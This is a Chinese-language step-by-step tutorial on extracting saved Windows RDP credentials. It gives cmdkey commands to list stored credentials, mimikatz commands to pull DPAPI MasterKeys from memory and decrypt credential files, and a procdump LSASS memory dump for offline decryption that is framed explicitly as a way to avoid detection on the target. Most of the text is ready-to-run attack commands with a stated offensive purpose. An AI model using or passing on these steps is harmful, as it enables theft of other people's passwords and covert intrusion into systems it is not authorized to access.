Windows RDP凭证的抓取和密码破解
Windows RDP凭证的抓取和密码破解
一、条件和破解原理
当使用远程桌面时,如果点击保存密码,Windows就通过MasterKey将我们的密码保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这原因,我们只要拿到MasterKey就能将密码解出来。
二、凭证的查看
1、查看mstsc的凭证
cmdkey /list
2、删除mstsc的凭证
cmdkey /delete:targetname
3、查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
三、在线破解
1、使用mimikatz获取该文件的guidMasterKey值
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7
2、通过guidMasterKey值找到内存中对应的MasterKey
mimikatz sekurlsa::dpapi
这里因为我是用的Server2019,好像是开启了LSA防护,所以没有成功。
3、最后打开mimikatz通过MasterKey值去解密凭据文件(这里因为上一步没有成功,我是通过离线破解出来的MasterKey放到这里来尝试,结果是成功的)
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7
/masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6
四、离线破解
由于我们不能保证我们的mimikatz是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目 的其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。
1、下载目标内存
procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump
2、下载目标的Credentials文件
C:\Users\Administrator\AppData\Local\Microsoft\Credentials
3、用mimikatz载入dump回来的内存
Sekurlsa::minidump lsass1.dump
4、获取Credentials的GUID
dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7
5、获取内存中所有的MasterKey
sekurlsa::dpapi
6、利用MasterKey解密
dpapi::cred
/in:5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6